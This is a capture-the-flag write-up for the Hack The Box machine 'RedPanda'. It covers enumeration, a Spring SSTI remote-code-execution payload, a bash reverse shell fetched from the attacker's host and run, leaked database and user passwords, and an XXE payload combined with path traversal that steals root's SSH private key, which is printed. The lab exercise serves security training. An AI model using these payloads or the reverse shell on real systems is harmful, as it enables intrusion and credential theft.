RedPanda Writeup
06 December 2022 #CTF #HTB #box #easy #linuxEnumeration
nmap
may not be as cute as a red panda but it's pretty useful:
$ sudo nmap -n -p- -T4 -oN enum/fulltcp.nmap 10.10.11.170
[...]
22/tcp open ssh
8080/tcp open http-proxy
[...]
$ ports=$(awk -F/ '/^[[:digit:]]{1,5}\// {printf "%s,", $1}' enum/fulltcp.nmap)
$ sudo nmap -n -p $ports -sCV -oN enum/scripts-tcp.nmap 10.10.11.170
[...]
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
8080/tcp open http-proxy
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200
| Content-Type: text/html;charset=UTF-8
| Content-Language: en-US
| Date: Thu, 03 Nov 2022 16:26:55 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en" dir="ltr">
| <head>
| <meta charset="utf-8">
| <meta author="wooden_k">
| <!--Codepen by khr2003: https://codepen.io/khr2003/pen/BGZdXw -->
| <link rel="stylesheet" href="css/panda.css" type="text/css">
| <link rel="stylesheet" href="css/main.css" type="text/css">
| <title>Red Panda Search | Made with Spring Boot</title>
| </head>
| <body>
| <div class='pande'>
| <div class='ear left'></div>
| <div class='ear right'></div>
| <div class='whiskers left'>
| <span></span>
| <span></span>
| <span></span>
| </div>
| <div class='whiskers right'>
| <span></span>
| <span></span>
| <span></span>
| </div>
| <div class='face'>
| <div class='eye
| HTTPOptions:
| HTTP/1.1 200
| Allow: GET,HEAD,OPTIONS
| Content-Length: 0
| Date: Thu, 03 Nov 2022 16:26:55 GMT
| Connection: close
| RTSPRequest:
| HTTP/1.1 400
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 435
| Date: Thu, 03 Nov 2022 16:26:55 GMT
| Connection: close
| <!doctype html><html lang="en"><head><title>HTTP Status 400
| Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400
|_ Request</h1></body></html>
|_http-title: Red Panda Search | Made with Spring Boot
[...]
SSH
We can use the ssh banner retrieved by nmap
to identify quite accurately what version of Ubuntu is running on this box.
We'll throw the banner in our search engine and append 'launchpad' because this is where Ubuntu packages are hosted: we get this page.
We learn that it is Ubuntu Focal (20.04 LTS) and that the package was published on 11/05/2022.
This might be useful for us later on if we want to try a kernel exploit or something along those lines.
HTTP
We are greeted with a cute page:
The title of the page says it was built with 'Spring Boot' which is a Java framework.
Directory bruteforcing time:
$ gobuster dir -u http://10.10.11.170:8080/ -o enum/80-root.dir -t 42 -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
/search (Status: 405) [Size: 117]
/stats (Status: 200) [Size: 987]
/error (Status: 500) [Size: 86]
Going to /stats
we can view some information about authors through the author
parameter:
We can also download an XML file containing these stats.
Tried LFI, SQLi, command injection, but nothing worked.
Let's move on to the search functionality. It is a POST request that has only a name
parameter:
Alright, let's fuzz it up:
$ ffuf -u http://10.10.11.170:8080/search -d 'name=FUZZ' -fr FUZZ -w /usr/share/seclists/Fuzzing/template-engines-expression.txt -H 'Content-Type: application/x-www-form-urlencoded'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : POST
:: URL : http://10.10.11.170:8080/search
:: Wordlist : FUZZ: /usr/share/seclists/Fuzzing/template-engines-expression.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : name=FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Regexp: FUZZ
________________________________________________
${42*42} [Status: 200, Size: 755, Words: 159, Lines: 29, Duration: 197ms]
${donotexists|42*42} [Status: 200, Size: 755, Words: 159, Lines: 29, Duration: 232ms]
#{42*42} [Status: 200, Size: 737, Words: 156, Lines: 29, Duration: 228ms]
[[${42*42}]] [Status: 200, Size: 755, Words: 159, Lines: 29, Duration: 226ms]
42*42 [Status: 200, Size: 727, Words: 156, Lines: 29, Duration: 222ms]
:: Progress: [11/11] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
/usr/share/seclists/Fuzzing/template-engines-expression.txt
contains a bunch of SSTI payloads like {{7*7}}
and so on.
We use -fr FUZZ
to filter any response that contain the initial payload (if {{7*7}}
comes back as {{7*7}}
, it isn't intersting for us).
We have to add the Content-Type
header, otherwise the server will complain.
Foothold
We have SSTI:
If we try to use a '$' in the payload we just get 'Error occured: banned characters'.
Since we know it is a Java Spring app we can grab a payload on hacktricks. We can get RCE with this one:
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
We can't however get a reverse shell. It seems to break whenever there is a pipe or a redirection in our payload.
To get around this, we will host a reverse shell script on our box:
$ mkdir www
$ cd www
$ echo 'bash -i >& /dev/tcp/10.10.14.14/4242 0>&1' > rev.sh
$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Now download it on the target box:
[...].exec('wget 10.10.14.14:8000/rev.sh')[...]
And finally execute it:
[...].exec('bash rev.sh')[...]
Privesc
There are a few unusual directories in /opt
:
woodenk@redpanda:~$ ls -lA /opt
total 16
-rwxr-xr-x 1 root root 462 Jun 23 18:12 cleanup.sh
drwxr-xr-x 3 root root 4096 Jun 14 14:35 credit-score
drwxr-xr-x 6 root root 4096 Jun 14 14:35 maven
drwxrwxr-x 5 root root 4096 Jun 14 14:35 panda_search
These are most likely part of the web application.
There are mysql creds in /opt/panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.java
:
[...]
conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");
[...]
Nothing of interest is in that DB. The mysql password is also the password for the local account of user 'woodenk' but we can't use sudo
:
woodenk@redpanda:/opt/panda_search$ sudo -l
[sudo] password for woodenk:
Sorry, user woodenk may not run sudo on redpanda.
Code Analysis
Source code in the credit-score
directory is responsible for managing the stats (seen on the /stats
page on the web app) in the form of XML files. The code is in App.java
. Here is the main function:
[...]
public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
File log_fd = new File("/opt/panda_search/redpanda.log");
Scanner log_reader = new Scanner(log_fd);
while (log_reader.hasNextLine()) {
String line = log_reader.nextLine();
if (!isImage(line))
continue;
Map parsed_data = parseLog(line);
String artist = getArtist(parsed_data.get("uri"));
String xmlPath = "/credits/" + artist + "_creds.xml";
addViewTo(xmlPath, parsed_data.get("uri"));
}
}
This will iterate over each line in this /opt/panda_search/redpanda.log
file. It skips any line that does not contain the string .jpg
.
The parseLog
function will just parse a line into a Map (or dictionary, if you are a python enthusiast). It splits (on ||
) the line in 3 parts: response code, remote address, and request URI (useful for us latter).
getArtist
will look in the metadata of the image at the path uri
and return the value of the tag 'Artist':
public static String getArtist(String uri) throws IOException, JpegProcessingException {
String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
File jpgFile = new File(fullpath);
Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
for (Directory dir : metadata.getDirectories())
for (Tag tag : dir.getTags())
if (tag.getTagName() == "Artist")
return tag.getDescription();
return "N/A";
}
We can't write to /opt/panda_search/src/main/resources/static
but since we controll uri
we can use directory traversal to go to somewhere we can write in.
The return value of this function is used to open a file in /credits
:
String xmlPath = "/credits/" + artist + "_creds.xml";
By modifying the metadata of an image, we can also controll this variable so we can make the application open a XML file controlled by us.
We also know this app is running as root because only root can write in /credits
.
XXE Exploit
The first step is to download an image on our local box:
$ wget http://10.10.11.170:8080/img/greg.jpg
Now we can alter the metadata to have a path traversal payload in the 'Artist' tag:
$ exiftool -Artist='../dev/shm/yep' greg.jpg
Warning: [minor] Ignored empty rdf:Bag list for Iptc4xmpExt:LocationCreated - greg.jpg
1 image files updated
(install the imagemagick
package on Kali)
Now we need to create our yep_creds.xml
file. It will contain an external entity that will try to read root's private ssh key:
<?xml version="1.0" ?>
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///root/.ssh/id_rsa"> ]>
<root>&xxe;</root>
Then we'll upload both yep_creds.xml
and the modified greg.jpg
to the remote box:
woodenk@redpanda:~$ cd /dev/shm
woodenk@redpanda:/dev/shm$ wget 10.10.14.14/yep_creds.xml
[...]
woodenk@redpanda:/dev/shm$ wget 10.10.14.14/greg.jpg
[...]
Note that it is important to place yep_creds.xml
in /dev/shm
because that's where we put it in the image metadata.
Finaly, in order to trigger the application, we have to write to the log file.
woodenk@redpanda:~$ echo '666||pad||ding||/../../../../../../../../../../../dev/shm/greg.jpg' > /opt/panda_search/redpanda.log
The path has to start with a /
.
Wait a minute or two and go back to the xml file to see if it was processed:
woodenk@redpanda:/dev/shm$ cat yep_creds.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root>
<root>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----</root>
Nice, now we can ssh as root (:
Key Takeaways
- SSTI fuzzing: use
-fr FUZZ
withffuf
to filter responses - Always look for XXE when dealing with XML
- Take breaks when reading Java source code for your own sanity